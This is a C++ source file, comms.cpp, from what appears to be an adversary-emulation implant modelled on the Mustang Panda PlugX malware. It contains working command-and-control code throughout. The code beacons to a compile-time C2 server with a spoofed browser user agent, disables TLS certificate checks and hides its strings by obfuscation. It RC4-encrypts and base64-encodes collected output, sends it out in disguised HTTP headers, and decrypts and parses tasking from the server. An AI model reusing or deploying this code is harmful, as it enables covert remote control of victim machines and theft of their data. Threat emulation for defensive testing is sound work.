-
Notifications
You must be signed in to change notification settings - Fork 21
Expand file tree
/
Copy pathcomms.cpp
More file actions
376 lines (320 loc) · 14.6 KB
/
comms.cpp
File metadata and controls
376 lines (320 loc) · 14.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
#include "comms.hpp"
#include "util.hpp"
#include "base64.hpp"
#include "rc4.hpp"
#include <winhttp.h>
#include <al/import.hpp>
#ifndef SERVER
#error "comms.cpp must have SERVER set at compile time"
#endif
#ifndef PORT
#error "comms.cpp must have PORT set at compile time"
#endif
// namespace for communication related functionality
namespace Comms {
/*
* initialize:
* About:
* Sets up necessary data structures and handles for http/s communication.
* Result:
* 0 upon success, otherwise non-zero error code.
* MITRE ATT&CK Techniques:
* T1071.001: Application Layer Protocol: Web Protocol
* T1573.002: Encrypted Channel: Asymmetric Cryptography
* CTI:
* https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/
* https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware
*/
DWORD initialize(sh_context* ctx, DWORD secure) {
ctx->hInternet = nullptr;
ctx->hRequest = nullptr;
ctx->requestFlags = 0;
ctx->hInternet = ctx->fp.fp_InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0"_xor, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
DWORD error_code;
if (!ctx->hInternet) {
error_code = ctx->fp.shared_fp.fp_GetLastError();
AesLogger::LogError(ctx->log_ctx, "InternetOpenA failed with error code: %d"_xor, error_code);
return error_code;
}
if (secure) {
AesLogger::LogDebug(ctx->log_ctx, "Using HTTPS comms"_xor);
ctx->usingHttps = TRUE;
// Ignore some cert verification issues
ctx->requestFlags = INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
}
else {
AesLogger::LogDebug(ctx->log_ctx, "Using HTTP comms"_xor);
ctx->usingHttps = FALSE;
ctx->requestFlags = INTERNET_FLAG_RELOAD;
}
AesLogger::LogDebug(ctx->log_ctx, "Using C2 address: %s:%d"_xor, SERVER, PORT);
return ERROR_SUCCESS;
}
/*
* getRequest:
* About:
* Makes a GET request to the c2Url; flexible to http/s
* Result:
* 0 upon success, otherwise non-zero error code.
* MITRE ATT&CK Techniques:
* T1071.001: Application Layer Protocol: Web Protocol
* T1573.002: Encrypted Channel: Asymmetric Cryptography
* CTI:
* https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/
* https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware
*/
DWORD getRequest(sh_context* ctx, module_context_t* m_ctx) {
char* headers = NULL;
DWORD error_code;
LPCSTR acceptTypes[] = {"*/*", NULL};
// Prepare request
ctx->hSession = ctx->fp.fp_InternetConnectA(
ctx->hInternet,
SERVER,
PORT,
NULL,
NULL,
INTERNET_SERVICE_HTTP,
ctx->requestFlags,
NULL
);
if (!ctx->hSession) {
error_code = ctx->fp.shared_fp.fp_GetLastError();
AesLogger::LogError(ctx->log_ctx, "InternetConnectA failed with error code: %d"_xor, error_code);
return error_code;
}
ctx->hRequest = ctx->fp.fp_HttpOpenRequestA(
ctx->hSession,
"GET",
"/",
NULL,
NULL,
acceptTypes,
ctx->requestFlags,
NULL
);
if(!ctx->hRequest) {
error_code = ctx->fp.shared_fp.fp_GetLastError();
AesLogger::LogError(ctx->log_ctx, "HttpOpenRequestA failed with error code: %d"_xor, error_code);
return error_code;
}
// Ignore additional cert validation
if (ctx->usingHttps) {
DWORD dwFlags;
DWORD reqSize = sizeof(dwFlags);
if (!ctx->fp.fp_InternetQueryOptionA(ctx->hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &reqSize)) {
error_code = ctx->fp.shared_fp.fp_GetLastError();
AesLogger::LogError(ctx->log_ctx, "InternetQueryOptionA failed with error code: %d"_xor, error_code);
return error_code;
}
dwFlags |= (SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_WEAK_SIGNATURE);
if (!ctx->fp.fp_InternetSetOptionA(ctx->hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, reqSize)) {
error_code = ctx->fp.shared_fp.fp_GetLastError();
AesLogger::LogError(ctx->log_ctx, "InternetSetOptionA failed with error code: %d"_xor, error_code);
return error_code;
}
}
// check if module output
if (m_ctx) {
AesLogger::LogDebug(ctx->log_ctx, "Encrypting output to include in beacon."_xor);
// Have to copy in case m_ctx->output points to read-only data
unsigned char* enc_output = (unsigned char*)ctx->fp.fp_malloc(m_ctx->outputSize);
if (!enc_output) {
AesLogger::LogError(ctx->log_ctx, "Failed to allocate buffer for encrypting message."_xor);
return COMMS_GET_REQUEST_FAIL_MALLOC;
}
pi_memcpy(enc_output, m_ctx->output, m_ctx->outputSize);
unsigned char key[] = "secret_key";
RC4CryptInPlace(enc_output, m_ctx->outputSize, key, sizeof(key) - 1);
size_t encoded_size = ((m_ctx->outputSize + 2) / 3) * 4 + 1;
char* output = (char*)ctx->fp.fp_malloc(encoded_size);
size_t encoded_len;
base64_encode(enc_output, m_ctx->outputSize, output, &encoded_len);
output[encoded_len] = '\0';
ctx->fp.fp_free(enc_output);
// encoded size + static header format + implant id
size_t totalLen = encoded_len + 128; // eventually will add size of implant id (future pr)
headers = (char*)ctx->fp.fp_malloc(totalLen);
if (!headers) {
ctx->fp.fp_free(output);
AesLogger::LogError(ctx->log_ctx, "Failed to allocate buffer for HTTP headers."_xor);
return COMMS_GET_REQUEST_FAIL_MALLOC;
}
ctx->fp.fp_sprintf(headers, "Sec-Dest: 123\r\nSec-Site:%s\r\n"_xor, m_ctx->outputSize>0 ? output : "123");
ctx->fp.fp_free(output);
}
AesLogger::LogDebug(ctx->log_ctx, "Sending GET request beacon."_xor);
// Send request
BOOL sendResult = ctx->fp.fp_HttpSendRequestA(ctx->hRequest, headers, -1L, NULL, 0);
if (headers != NULL) {
ctx->fp.fp_free(headers);
}
if(!sendResult) {
error_code = ctx->fp.shared_fp.fp_GetLastError();
AesLogger::LogError(ctx->log_ctx, "HttpSendRequestA failed with error code: %d"_xor, error_code);
return error_code;
}
return ERROR_SUCCESS;
}
/*
* readResponse:
* About:
* Reads an http/s response from the HINTERNET handle buffer
* Result:
* 0 upon success, otherwise non-zero error code.
* MITRE ATT&CK Techniques:
* T1071.001: Application Layer Protocol: Web Protocol
* T1573.002: Encrypted Channel: Asymmetric Cryptography
* CTI:
* https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/
* https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware
*/
DWORD readResponse(sh_context* ctx, char** response, DWORD* totalSize) {
DWORD currBufSize = 0;
*response = NULL;
*totalSize = 0;
DWORD totalRead = 0;
char* respBuf = NULL;
DWORD errorCode;
// Calculate initial buffer size using the Content-Length header value
// or a hardcoded minimum if server is chunking its responses
DWORD headerIndex = 0;
DWORD contentLength = 0;
DWORD queryBufSize = sizeof(DWORD);
if (!(ctx->fp.fp_HttpQueryInfoW(ctx->hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &queryBufSize, &headerIndex))) {
errorCode = ctx->fp.shared_fp.fp_GetLastError();
// For large HTTP responses, the server may not include a Content-Length header
// when chunking its responses
if (errorCode == ERROR_WINHTTP_HEADER_NOT_FOUND) {
// If chunked, start off with a minimum buffer size of 64KB
currBufSize = 64*1024;
AesLogger::LogDebug(ctx->log_ctx, "Content-Length header not included in server response. Will treat as chunked data."_xor);
} else {
AesLogger::LogError(ctx->log_ctx, "HttpQueryInfoW failed with error code: %d."_xor, errorCode);
return errorCode;
}
} else {
if (contentLength == 0) {
return ERROR_SUCCESS;
}
currBufSize = contentLength + 1; // add space for null terminator
}
// Create initial response buffer
respBuf = (char*)ctx->fp.fp_malloc(currBufSize);
if (!respBuf) {
AesLogger::LogError(ctx->log_ctx, "Failed to allocate response buffer."_xor);
return COMMS_READ_FAIL_MALLOC;
}
// Fetch server response data
while (TRUE) {
DWORD bytesRead = 0;
DWORD bytesAvailable = 0;
// Wait until data is available
if (!ctx->fp.fp_InternetQueryDataAvailable(ctx->hRequest, &bytesAvailable, 0, 0)) {
errorCode = ctx->fp.shared_fp.fp_GetLastError();
ctx->fp.fp_free(respBuf);
AesLogger::LogError(ctx->log_ctx, "InternetQueryDataAvailable failed with error code: %d."_xor, errorCode);
return errorCode;
}
if (bytesAvailable == 0) {
break;
}
// Resize buffer if needed
size_t requiredSize = totalRead + bytesAvailable + 1; // add space for null-terminator
if (currBufSize < requiredSize) {
while (currBufSize < requiredSize) {
if (currBufSize > 32*1024*1024) {
// Stop doubling after 32MB and increment by 16MB going forward
currBufSize += 16*1024*1024;
} else {
// Double buffer size
currBufSize *= 2;
}
}
void* oldBuf = respBuf;
respBuf = (char*)ctx->fp.fp_realloc(respBuf, currBufSize);
if (!respBuf) {
AesLogger::LogError(ctx->log_ctx, "Failed to reallocate response buffer."_xor);
ctx->fp.fp_free(oldBuf);
return COMMS_READ_FAIL_REALLOC;
}
}
// Read data
if (!ctx->fp.fp_InternetReadFile(ctx->hRequest, respBuf + totalRead, bytesAvailable, &bytesRead)) {
errorCode = ctx->fp.shared_fp.fp_GetLastError();
ctx->fp.fp_free(respBuf);
AesLogger::LogError(ctx->log_ctx, "InternetReadFile failed with error code: %d."_xor, errorCode);
return errorCode;
}
totalRead += bytesRead;
if (bytesRead == 0) {
break;
}
}
// Null-terminate server response string
respBuf[totalRead] = '\0';
// Create buffer for base64 decoding - this buffer will eventually be
// provided to the caller
unsigned char* decodedBuf = (unsigned char*)ctx->fp.fp_malloc(totalRead);
if (!decodedBuf) {
AesLogger::LogError(ctx->log_ctx, "Failed to allocate decoding buffer."_xor);
ctx->fp.fp_free(respBuf);
return COMMS_READ_FAIL_MALLOC;
}
// Decode and decrypt response
size_t decoded_len = 0;
base64_decode(respBuf, decodedBuf, &decoded_len);
decodedBuf[decoded_len] = '\0';
unsigned char key[] = "secret_key";
RC4CryptInPlace(decodedBuf, decoded_len, key, sizeof(key) - 1);
// Free intermediary buffer and return pointer to plaintext response
ctx->fp.fp_free(respBuf);
*response = (char*)decodedBuf;
*totalSize = decoded_len;
AesLogger::LogDebug(ctx->log_ctx, "Decoding and decrypted server response (%d resulting bytes)."_xor, decoded_len);
return ERROR_SUCCESS;
}
/*
* teardown:
* About:
* tears down the comm object
* MITRE ATT&CK Techniques:
* T1071.001: Application Layer Protocol: Web Protocol
* T1573.002: Encrypted Channel: Asymmetric Cryptography
* CTI:
* https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/
* https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware
*/
DWORD teardown(sh_context* ctx) {
ctx->fp.fp_InternetCloseHandle(ctx->hRequest);
ctx->fp.fp_InternetCloseHandle(ctx->hInternet);
return ERROR_SUCCESS;
}
DWORD parseResponse(sh_context* ctx, char* buffer, size_t bufferSize, c2_packet* packet) {
// Make sure we have the header
if (bufferSize < sizeof(packet_header)) {
return COMMS_PACKET_MALFORMED;
}
// read the packet header
packet_header* packetHeader = (packet_header*)buffer;
// total packet size
size_t requiredSize = sizeof(packet_header) + packetHeader->argLength + packetHeader->contentLength;
if (bufferSize < requiredSize) {
return COMMS_PACKET_MALFORMED;
}
// copy data to packet struct
packet->id = packetHeader->id;
packet->argLength = packetHeader->argLength;
packet->contentLength = packetHeader->contentLength;
// initialize the data fields
packet->args = NULL;
packet->content = NULL;
if (packetHeader->argLength > 0) {
packet->args = (char*)(buffer + sizeof(packet_header));
}
if (packetHeader->contentLength > 0) {
packet->content = (char*)(buffer + sizeof(packet_header) + packetHeader->argLength);
}
return ERROR_SUCCESS;
}
}